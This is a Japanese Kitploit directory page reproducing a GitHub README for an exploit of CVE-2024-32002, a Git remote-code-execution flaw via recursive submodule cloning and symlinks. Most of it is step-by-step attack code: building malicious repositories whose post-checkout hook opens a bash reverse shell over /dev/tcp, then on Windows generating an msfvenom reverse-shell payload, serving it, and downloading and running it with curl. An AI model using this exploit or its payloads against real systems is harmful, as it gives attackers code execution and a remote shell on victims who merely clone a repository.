Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-32002 — CVE-2024-32002 のエクスプロイト。再帰的サブモジュールのクローンとシンボリックリンクを利用して、Windows および Linux ターゲット上で任意のコマンドを実行する Git RCE 脆弱性です。 | Kitploit
ツール/GitHubGitHub/charlesgargasson/cve-2024-32002
特権昇格エクスプロイト横移動ウェブアプリケーション悪用ポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミングペイロード開発
GitHubcharlesgargasson/cve-2024-32002

CVE-2024-32002

CVE-2024-32002 のエクスプロイト。再帰的サブモジュールのクローンとシンボリックリンクを利用して、Windows および Linux ターゲット上で任意のコマンドを実行する Git RCE 脆弱性です。

22年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

###################### GIT RCE CVE-2024-32002 ######################


説明


| CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ |


エクスプロイト


| まず、git上に "calledrepo" と "commandrepo" のリポジトリを作成する必要があります。 | 被害者は後で "git clone --recursive calledrepo.git" でcalledrepoを呼び出し、commandrepoにリダイレクトされてフックスクリプトを実行します。 | このbashリバースシェルペイロードはWINDOWSとLINUXで動作します。 | | システムのgit設定で問題を起こしたくないので、docker上でgit CLIを使用していますが、これは任意です。

.. code-block:: bash

Stat a debian docker instance

docker run --rm -it debian

Install git

apt update apt install -y git

| gitの設定

.. code-block:: bash

git config --global user.email "whatever" git config --global user.name "whatever" git config --global protocol.file.allow always git config --global core.symlinks true git config --global init.defaultBranch main

| 変数の設定

.. code-block:: bash

GIT_IP="10.129.19.99" GIT_USER="charles" GIT_PORT="3000" LHOST="10.10.14.113" LPORT="4444"

| リポジトリの準備

.. code-block:: bash

cd /tmp rm -rf calledrepo commandrepo

git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" cd commandrepo mkdir -p y/hooks cat <y/hooks/post-checkout #!/bin/bash /bin/bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" EOF chmod +x y/hooks/post-checkout git add y/hooks/post-checkout git commit -m "post-checkout" git push cd ..

git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git" cd calledrepo git submodule add --name x/y "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" A/modules/x git commit -m "add-submodule" printf ".git" > dotgit.txt git hash-object -w --stdin < dotgit.txt > dot-git.hash printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info git update-index --index-info < index.info git commit -m "add-symlink" git push cd ..

Echo the command to run on victim

echo "git clone --recursive http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git"

|


Windows


| Windowsでエクスプロイトした後、いくつかの問題/制限があるgit bashが起動します: |

.. code-block:: bash

$ C:\windows\System32\whoami.exe /all bash: C:windowsSystem32whoami.exe: command not found

| この環境から脱出したい場合は、新しいリバースシェルを呼び出すことができます。 |

.. code-block:: bash

Attacker side

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe sudo cp payload.exe /var/www/html sudo nc -nvlp 443 -s 10.10.14.113

.. code-block:: bash

Windows side

cd ~/ curl http://10.10.14.113/payload.exe -O payload.exe ./payload.exe

|

| git bashはWindowsコマンドよりもパスが優先される場合があることを忘れないでください。 | フルパスを使用してWindowsコマンドを実行できます。 |

.. code-block:: bash

C:\windows\System32\whoami.exe /all

ツールをダウンロード